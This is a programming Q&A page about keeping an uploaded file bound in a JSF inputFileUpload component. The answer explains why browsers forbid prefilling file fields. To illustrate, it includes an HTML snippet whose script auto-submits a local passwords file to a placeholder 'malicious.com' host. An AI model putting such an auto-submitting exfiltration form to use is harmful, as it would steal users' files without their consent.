Search code examples
jsffile-uploadbindingjsf-2uicomponents

Access value binding of UIComponent


I use <t:inputFileUpload> for uploading files in my application. The selected file (represented as a UploadedFile object) is only saved to its binding (the member in the backing bean) upon form submission. As I use dynamic elements in my UI, the form will be re-rendered without submission. In this case, the value binding is void and the user has to re-select the file using <t:inputFileUpload>.

Of course, this is not very user-friendly. Even without submission, <t:inputFileUpload> throws a ValueChangedEvent, to which I'd like to register an event handler that copies the new value (i.e. the uploaded file) into the value binding (i.e. the member of the backing bean). As I want to allow multiple files to be uploaded, I have an array of UploadedFile objects as value binding, referenced in JSF like this:

<ui:repeat value="#{bean.myFiles}" var="file">
  <t:inputFileUpload
    value   = "#{file}"
    storage = "file" />
</ui:repeat>

Now I would like to do something like this:

UploadedFile[] myFiles;

public void valueChangedHandler(ValueChangedEvent ev) {
  UploadedFile file = (UploadedFile)ev.getNewValue();
  UIComponent comp = ev.getComponent();
  // This line is pseudocode - getValueBinding() is not available
  UploadedFile bindingFile = (UploadedFile)comp.getValueBinding();
  // Assigning the new value to the binding
  bindingFile = file;
}

It something like this possible? I have not yet understood how to invoke ValueBinding getValueBinding(String) to make it happen like I want to.


Solution

  • the user has to re-select the file using <t:inputFileUpload>.

    This is not a JSF limitation. This is a HTML limitation. The <t:inputFileUpload> component renders a HTML <input type="file"> field. Being able to prefill/preserve such a field is a huge security hole and is disallowed in HTML.

    To understand the security hole better, look at the following plain HTML example:

    <form id="upload" action="http://malicious.com/upload" method="post" enctype="multipart/form-data">
        <input type="file" name="file" value="c:/I/guess/this/is/path/to/your/passwords.txt" />
    </form>
    <script>document.getElementById("upload").submit();</script>
    

    If it was supported and one opened a webpage with the above form, the passwords.txt would have been sent to the server without any user intervention!

    If something's not possible in HTML, then JSF already can't do much for you (since all it basically is doing is generating some bunch of HTML).